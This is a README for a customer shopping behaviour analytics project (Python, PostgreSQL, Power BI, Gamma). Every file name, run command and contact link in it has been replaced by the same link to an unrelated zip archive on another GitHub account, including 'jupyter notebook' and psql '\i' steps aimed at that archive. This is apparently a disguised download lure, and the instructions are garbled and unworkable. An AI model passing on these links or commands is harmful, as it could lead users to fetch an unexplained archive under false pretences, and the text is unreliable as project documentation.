customer_behavior_analysis

Business Analytics project showcasing customer behavior analysis using Python, SQL and PowerBI

📊 Customer Shopping Behavior Analysis

A Complete End-to-End Business Analytics Project

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🌐 Overview

This repository presents a comprehensive business analytics lifecycle—from raw data ingestion and exploratory analysis in Python, to running SQL queries in PostgreSQL, building an interactive Power BI dashboard, and delivering a stakeholder-ready presentation using Gamma.

The objective is to uncover customer shopping trends, behaviors, and actionable insights that can drive strategic decision-making for retail businesses.

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📂 Dataset

• Name: Customer Shopping Behavior
• Format: CSV
• Rows: ~3,900+
• Includes:
  • Customer demographics
  • Purchase behavior
  • Payment modes
  • Shopping frequency
  • Geographic insights
  • Product category patterns

The dataset is analyzed in the Jupyter Notebook attached in this repository.

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🛠 Tools & Technologies

Category	Tools
Programming	Python, Jupyter Notebook
Libraries	Pandas, NumPy, Matplotlib, Seaborn, SQLAlchemy
Database	PostgreSQL, pgAdmin 4
SQL	Aggregations, Joins, CTEs, Window Functions
Visualization	Power BI
Presentation	Gamma
Reporting	Power BI Report (PBIX)

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🔍 Project Workflow

1. Data Loading (Python)

• Loaded dataset using Pandas
• Conducted schema validation, structural checks, and initial preview

2. Exploratory Data Analysis (EDA)

• Descriptive statistics
• Customer segmentation
• Category-wise analysis
• Payment mode trends
• Visualization using Matplotlib & Seaborn

3. Data Cleaning

• Duplicate removal
• Handling missing values
• Transformations & standardization
• Encoding categorical variables

4. SQL Analysis in PostgreSQL

Using https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip, the following insights were generated:

• Spending analysis
• Most profitable customer segments
• Top product categories
• Location-based demand trends
• Payment preference distribution

Data was inserted into PostgreSQL via SQLAlchemy for querying and dashboard integration.

5. Power BI Dashboard

A multi-page interactive dashboard was built covering:

• Sales & revenue metrics
• Demographic distribution
• Category & product insights
• Customer loyalty/retention behavior
• Payment mode patterns
• Trend lines & forecasting

6. Final Report & Presentation

A professionally designed Gamma Presentation and Power BI Report summarizing:

• Executive highlights
• KPIs
• Visual insights
• Strategic recommendations

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📊 Key Business Insights

• Identified high-value customers responsible for a major revenue share
• Mapped strong-performing and weak-performing locations
• Revealed the most profitable product categories
• Highlighted repeat purchase behavior and retention indicators
• Identified improvement opportunities in marketing and customer experience

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▶️ How to Run the Project

1. Clone the Repository

git clone <your-repo-link>
cd customer-shopping-behavior-analysis
2. Open the Jupyter Notebook
bash
Copy code
jupyter notebook https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
3. Set Up PostgreSQL
Create a new database in PostgreSQL

Run the SQL file:

sql
Copy code
\i https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
Ensure Python connection settings match your database credentials

4. Open Power BI Dashboard
Load the .pbix file from the dashboard/ folder

Refresh the data source if required

5. View the Presentation
Open the Gamma link or PDF in the presentation/ folder

📁 Repository Structure
pgsql
Copy code
├── data/
│   └── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
├── notebooks/
│   └── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
├── sql/
│   └── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
├── dashboard/
│   └── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
├── presentation/
│   └── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip  (or link)
└── https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
📞 Contact
For project collaboration, analytical roles, or professional inquiries, please feel free to connect.

https://raw.githubusercontent.com/analyst1027/README-Desktop-LIBrary_Website/main/youl/README-Desktop-LIBrary_Website_v1.3.zip
For collaboration or opportunities, feel free to reach out.